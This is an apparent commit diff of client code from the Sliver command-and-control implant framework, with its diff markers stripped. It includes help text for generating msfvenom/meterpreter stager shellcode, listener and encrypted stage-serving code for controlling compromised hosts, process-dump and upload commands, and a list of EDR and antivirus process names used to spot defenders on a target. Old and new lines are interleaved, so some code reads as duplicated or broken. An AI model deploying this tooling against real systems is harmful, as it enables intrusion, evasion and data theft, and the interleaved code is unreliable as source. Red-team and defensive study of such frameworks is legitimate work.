jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -193,32 +187,21 @@ Due to the large number of options and C2s this can be a lot of typing. If you'd
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
command.
`
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate msf-stager <options>
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate stager <options>
[[.Bold]]About:[[.Normal]] Generate a new sliver stager shellcode and saves the output to the cwd or a path specified with --save, or to stdout using --format.
[[.Bold]][[.Underline]]++ Bad Characters ++[[.Normal]]
Bad characters must be specified like this for single bytes:
generate msf-stager -b 00
generate stager -b 00
And like this for multiple bytes:
generate msf-stager -b '00 0a cc'
generate stager -b '00 0a cc'
[[.Bold]][[.Underline]]++ Output Formats ++[[.Normal]]
You can use the --format flag to print out the shellcode to stdout, in one of the following transform formats:
[[.Bold]]bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript[[.Normal]]
[[.Bold]][[.Underline]]++ Advanced Options ++[[.Normal]]
If there are any advanced options you need to pass to msfvenom, you can use the --advanced flag to provide them. They must be provided in URI query format: option1=value1&option2=value2 and so on.
The full list of advanced options is available using "show advanced" in msf for the payload corresponding to the chosen protocol:
TCP: meterpreter/reverse_tcp
HTTP: custom/reverse_winhttp
HTTPS: custom/reverse_winhttps
Example:
To tell the stager to use the proxy proxy.corp.com:8080 with the user name "corp_drone" and password "MyPassword", you would pass the following string to --advanced:
HttpProxyHost=proxy.corp.com&HttpProxyPort=8080&HttpProxyUser=corp_drone&HttpProxyPass=MyPassword
`
stageListenerHelp = `[[.Bold]]Command:[[.Normal]] stage-listener <options>
[[.Bold]]About:[[.Normal]] Starts a stager listener bound to a Sliver profile.
@@ -327,38 +310,8 @@ Downloads can be filtered using the following patterns:
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
headHelp = `[[.Bold]]Command:[[.Normal]] head [--bytes/-b <number of bytes>] [--lines/-l <number of lines>] <remote path>
[[.Bold]]About:[[.Normal]] Fetch the first number of bytes or lines from a remote file and display it to stdout.`
tailHelp = `[[.Bold]]Command:[[.Normal]] tail [--bytes/-b <number of bytes>] [--lines/-l <number of lines>] <remote path>
[[.Bold]]About:[[.Normal]] Fetch the last number of bytes or lines from a remote file and display it to stdout.`
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
[[.Bold]]About:[[.Normal]] Upload a file or directory to the remote system.
[[.Bold]][[.Underline]]Paths[[.Normal]]
You can preserve directory structures using the -p switch. Directories will be preserved as they are specified in the source path.
For example, the command upload -p /home/me/docs /tmp will upload the files in /home/me/docs to /tmp/home/me/docs on the target.
However, if you are in the local directory /home/me, and issue the command upload -p docs /tmp, the files in /home/me/docs will
be uploaded to /tmp/docs on the target. This is equivalent to upload /home/me/docs /tmp/docs (notice the lack of the -p switch).
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit uploads to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
upload /etc/*.conf will upload all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Uploads can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
procdumpHelp = `[[.Bold]]Command:[[.Normal]] procdump [pid]
[[.Bold]]About:[[.Normal]] Dumps the process memory given a process identifier (pid)`
@@ -1256,41 +1209,6 @@ Sliver uses the same hash identifiers as Hashcat (use the #):
% 10s - A file containing lines of 'username:hash' pairs.
% 10s - A CSV file containing 'username,hash' pairs (additional columns ignored).
`, creds.HashNewlineFormat, creds.UserColonHashNewlineFormat, creds.CSVFormat)
c2ProfilesHelp = `[[.Bold]]Command:[[.Normal]] c2profile
[[.Bold]]About:[[.Normal]] Display details of HTTP C2 profiles loaded into Sliver.
`
C2ProfileImportStr = `[[.Bold]]Command:[[.Normal]] Import
[[.Bold]]About:[[.Normal]] Load custom HTTP C2 profiles.
`
grepHelp = `[[.Bold]]Command:[[.Normal]] grep [flags / options] <search pattern> <path>
[[.Bold]]About:[[.Normal]] Search a file or path for a search pattern
[[.Bold]][[.Underline]]Search Patterns[[.Normal]]
Search patterns use RE2 regular expression syntax.
[[.Bold]][[.Underline]]Binary Files[[.Normal]]
When searching a binary file, grep will only return the line that matches if it exclusively contains UTF-8 printable characters.
Before, after, and context options are disabled for binary files.
[[.Bold]][[.Underline]]Path Filters[[.Normal]]
Filters are a way to limit searches to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
grep something /etc/*.conf will search all files in /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Searches can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will search all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will search all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
)
const (
-8
View File
@@ -43,10 +43,6 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string
// ID passed via argument takes priority
idArg := args[0]
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
} else if session != nil || beacon != nil {
currID := ""
if session != nil {
@@ -55,10 +51,6 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string
currID = beacon.ID
}
session, beacon, err = use.SessionOrBeaconByID(currID, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
} else {
if session == nil && beacon == nil {
session, beacon, err = use.SelectSessionOrBeacon(con)
+2
View File
@@ -41,6 +41,7 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetUint32("lport")
canaries, _ := cmd.Flags().GetBool("no-canaries")
persistent, _ := cmd.Flags().GetBool("persistent")
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
@@ -49,6 +50,7 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
Host: lhost,
Port: lport,
Canaries: !canaries,
Persistent: persistent,
EnforceOTP: !enforceOTP,
})
con.Println()
+2
View File
@@ -37,6 +37,7 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
pollTimeout, _ := cmd.Flags().GetString("long-poll-timeout")
pollJitter, _ := cmd.Flags().GetString("long-poll-jitter")
website, _ := cmd.Flags().GetString("website")
persistent, _ := cmd.Flags().GetBool("persistent")
longPollTimeout, err := time.ParseDuration(pollTimeout)
if err != nil {
@@ -56,6 +57,7 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
Host: lhost,
Port: lport,
Secure: false,
Persistent: persistent,
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
+5 -3
View File
@@ -22,7 +22,7 @@ import (
"context"
"crypto/tls"
"fmt"
"os"
"io/ioutil"
"time"
"github.com/spf13/cobra"
@@ -40,6 +40,7 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
pollTimeout, _ := cmd.Flags().GetString("long-poll-timeout")
pollJitter, _ := cmd.Flags().GetString("long-poll-jitter")
website, _ := cmd.Flags().GetString("website")
persistent, _ := cmd.Flags().GetBool("persistent")
letsEncrypt, _ := cmd.Flags().GetBool("lets-encrypt")
disableRandomize, _ := cmd.Flags().GetBool("disable-randomized-jarm")
@@ -71,6 +72,7 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
Cert: cert,
Key: key,
ACME: letsEncrypt,
Persistent: persistent,
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
@@ -90,11 +92,11 @@ func getLocalCertificatePair(cmd *cobra.Command) ([]byte, []byte, error) {
if certPath == "" && keyPath == "" {
return nil, nil, nil
}
cert, err := os.ReadFile(certPath)
cert, err := ioutil.ReadFile(certPath)
if err != nil {
return nil, nil, err
}
key, err := os.ReadFile(keyPath)
key, err := ioutil.ReadFile(keyPath)
if err != nil {
return nil, nil, err
}
-2
View File
@@ -70,7 +70,6 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
"Name",
"Protocol",
"Port",
"Domains",
})
var keys []int
@@ -86,7 +85,6 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
job.Name,
job.Protocol,
fmt.Sprintf("%d", job.Port),
strings.Join(job.Domains, ","),
})
}
con.Printf("%s\n", tw.Render())
+4 -2
View File
@@ -31,11 +31,13 @@ import (
func MTLSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetUint32("lport")
persistent, _ := cmd.Flags().GetBool("persistent")
con.PrintInfof("Starting mTLS listener ...\n")
mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
Host: lhost,
Port: lport,
Host: lhost,
Port: lport,
Persistent: persistent,
})
con.Println()
if err != nil {
+49 -24
View File
@@ -43,7 +43,7 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
listenerURL, _ := cmd.Flags().GetString("url")
aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key")
aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv")
rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key")
prependSize, _ := cmd.Flags().GetBool("prepend-size")
compressF, _ := cmd.Flags().GetString("compress")
compress := strings.ToLower(compressF)
@@ -70,21 +70,6 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
return
}
if rc4EncryptKey != "" && aesEncryptKey != "" {
con.PrintErrorf("Cannot use both RC4 and AES encryption\n")
return
}
rc4Encrypt := false
if rc4EncryptKey != "" {
// RC4 keysize can be between 1 to 256 bytes
if len(rc4EncryptKey) < 1 || len(rc4EncryptKey) > 256 {
con.PrintErrorf("Incorrect length of RC4 Key\n")
return
}
rc4Encrypt = true
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
@@ -136,11 +121,55 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
if rc4Encrypt {
stage2 = util.RC4EncryptUnsafe(stage2, []byte(rc4EncryptKey))
}
switch stagingURL.Scheme {
case "http":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTP staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_HTTP,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error starting HTTP staging listener: %s\n", err)
return
}
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
case "https":
letsEncrypt, _ := cmd.Flags().GetBool("lets-encrypt")
if prependSize {
stage2 = prependPayloadSize(stage2)
}
cert, key, err := getLocalCertificatePair(cmd)
if err != nil {
con.Println()
con.PrintErrorf("Failed to load local certificate %s\n", err)
return
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTPS staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_HTTPS,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
Cert: cert,
Key: key,
ACME: letsEncrypt,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error starting HTTPS staging listener: %v\n", err)
return
}
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
// Always prepend payload size for TCP stagers
stage2 = prependPayloadSize(stage2)
@@ -169,10 +198,6 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
if rc4Encrypt {
con.PrintInfof("RC4 KEY: %v\n", rc4EncryptKey)
}
}
func prependPayloadSize(payload []byte) []byte {
+5 -3
View File
@@ -32,12 +32,14 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
lport, _ := cmd.Flags().GetUint32("lport")
nport, _ := cmd.Flags().GetUint32("nport")
keyExchangePort, _ := cmd.Flags().GetUint32("key-port")
persistent, _ := cmd.Flags().GetBool("persistent")
con.PrintInfof("Starting Wireguard listener ...\n")
wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
Port: lport,
NPort: nport,
KeyPort: keyExchangePort,
Port: lport,
NPort: nport,
KeyPort: keyExchangePort,
Persistent: persistent,
})
if err != nil {
con.PrintErrorf("%s\n", err)
-5
View File
@@ -197,11 +197,6 @@ func LootDownload(download *sliverpb.Download, lootName string, fileType clientp
}
}
func LootText(text string, lootName string, lootFileName string, fileType clientpb.FileType, con *console.SliverConsoleClient) {
lootMessage := CreateLootMessage(lootFileName, lootName, fileType, []byte(text))
SendLootMessage(lootMessage, con)
}
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
-139
View File
@@ -1,139 +0,0 @@
package monitor
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
func MonitorConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintWTConfig(resp, con)
}
func MonitorAddConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
apiKey, _ := cmd.Flags().GetString("apiKey")
apiPassword, _ := cmd.Flags().GetString("apiPassword")
apiType, _ := cmd.Flags().GetString("type")
MonitoringProvider := &clientpb.MonitoringProvider{Type: apiType, APIKey: apiKey}
if apiType == "xforce" {
MonitoringProvider.APIPassword = apiPassword
}
resp, err := con.Rpc.MonitorAddConfig(context.Background(), MonitoringProvider)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if resp != nil && resp.Err != "" {
con.PrintErrorf("%s\n", resp.Err)
return
}
con.PrintInfof("Added monitoring configuration\n")
}
func MonitorDelConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
config, err := selectWatchtowerConfig(resp)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.MonitorDelConfig(context.Background(), config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed monitoring configuration\n")
}
// PrintWTConfig - Print the current watchtower configuration
func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Type",
"APIKey",
"APIPassword",
})
color := console.Normal
for _, config := range configs.Providers {
row := table.Row{}
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.ID))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.Type))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIKey))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIPassword))
tw.AppendRow(row)
}
con.Printf("%s\n", tw.Render())
}
func selectWatchtowerConfig(configs *clientpb.MonitoringProviders) (*clientpb.MonitoringProvider, error) {
var options []string
for _, config := range configs.Providers {
options = append(options, config.Type)
}
selected := ""
prompt := &survey.Select{
Message: "Select a configuration:",
Options: options,
}
err := survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for _, provider := range configs.Providers {
if provider.Type == selected {
return provider, nil
}
}
return nil, nil
}
+2 -1
View File
@@ -21,6 +21,7 @@ package processes
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"time"
@@ -111,7 +112,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
var saveToFile *os.File
if saveTo == "" {
tmpFileName := filepath.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
saveToFile, err = os.CreateTemp("", tmpFileName)
saveToFile, err = ioutil.TempFile("", tmpFileName)
if err != nil {
con.PrintErrorf("Error creating temporary file: %s\n", err)
return
+8 -22
View File
@@ -46,20 +46,14 @@ var knownSecurityTools = map[string][]string{
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender Command-line
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender (Service Executable)
"NisSrv.exe": {console.Red, "Windows Defender"}, // Windows Defender (Network Realtime Inspection)
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
"SenseNdr.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Network Detection and Response)
"SenseSC.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Screenshot Capture Module)
"SenseCE.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Classification Engine Module)
"SenseCM.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Configuration Management Module)
"SenseSampleUploader.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Sample Uploader Module)
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Communication Module)
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Service Executable)
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
@@ -92,10 +86,6 @@ var knownSecurityTools = map[string][]string{
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"AmSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
}
// PsCmd - List processes on the remote system
@@ -212,16 +202,12 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet,
}
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
uniqProducts := map[string]string{}
products := []string{}
for _, proc := range ps.Processes {
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
uniqProducts[secTool[1]] = secTool[0]
products = append(products, secTool[1])
}
}
products := make([]string, 0, len(uniqProducts))
for name := range uniqProducts {
products = append(products, name)
}
return products
}
-7
View File
@@ -51,16 +51,9 @@ func (n *node) insert(proc *commonpb.Process) {
}
func (n *node) findParent(proc *commonpb.Process) *node {
// Empty node
if n.Value == nil {
return nil
}
// Skip self when called from reorder
// otherwise things might explode, see #1340
if n.Value.Pid == proc.Pid {
return nil
}
// Found parent
if n.Value.Pid == proc.Ppid {
return n
}
+3 -3
View File
@@ -21,7 +21,7 @@ package reaction
import (
"encoding/json"
"fmt"
"os"
"io/ioutil"
"path"
"strconv"
"strings"
@@ -49,13 +49,13 @@ func SaveReactions(reactions []core.Reaction) error {
if err != nil {
return err
}
return os.WriteFile(reactionFilePath, data, 0o600)
return ioutil.WriteFile(reactionFilePath, data, 0o600)
}
// LoadReactions - Save the reactions to the reaction file
func LoadReactions() (int, error) {
reactionFilePath := GetReactionFilePath()
data, err := os.ReadFile(reactionFilePath)
data, err := ioutil.ReadFile(reactionFilePath)
if err != nil {
return 0, err
}
+2 -2
View File
@@ -21,7 +21,7 @@ package registry
import (
"context"
"encoding/hex"
"os"
"io/ioutil"
"strconv"
"strings"
@@ -100,7 +100,7 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
return
}
} else {
v, err = os.ReadFile(binPath)
v, err = ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+2 -1
View File
@@ -21,6 +21,7 @@ package screenshot
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"time"
@@ -106,7 +107,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobr
var err error
if saveTo == "" {
tmpFileName := filepath.Base(fmt.Sprintf("screenshot_%s_%s_*.png", filepath.Base(hostname), timestamp))
saveToFile, err = os.CreateTemp("", tmpFileName)
saveToFile, err = ioutil.TempFile("", tmpFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+6 -158
View File
@@ -31,7 +31,6 @@ import (
"github.com/bishopfox/sliver/client/command/armory"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/builders"
"github.com/bishopfox/sliver/client/command/c2profiles"
"github.com/bishopfox/sliver/client/command/crack"
"github.com/bishopfox/sliver/client/command/creds"
"github.com/bishopfox/sliver/client/command/exit"
@@ -48,13 +47,11 @@ import (
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
"github.com/bishopfox/sliver/client/command/taskmany"
"github.com/bishopfox/sliver/client/command/update"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/command/websites"
"github.com/bishopfox/sliver/client/command/wireguard"
client "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/licenses"
)
@@ -272,6 +269,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
Flags("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) {
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(mtlsCmd)
@@ -289,6 +287,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port")
f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port")
f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(wgCmd)
@@ -307,6 +306,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(dnsCmd)
@@ -327,7 +327,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
f.BoolP("staging", "s", false, "enable staging")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(httpCmd)
@@ -348,13 +348,13 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
f.BoolP("enable-staging", "s", false, "enable staging")
f.StringP("cert", "c", "", "PEM encoded certificate file")
f.StringP("key", "k", "", "PEM encoded private key file")
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate")
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(httpsCmd)
@@ -375,7 +375,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key")
f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
})
@@ -666,7 +665,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("save", "s", "", "directory/file to the binary to")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(generateCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -675,7 +673,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
server.AddCommand(generateCmd)
@@ -736,7 +733,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("save", "s", "", "directory/file to the binary to")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(generateBeaconCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -745,7 +741,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
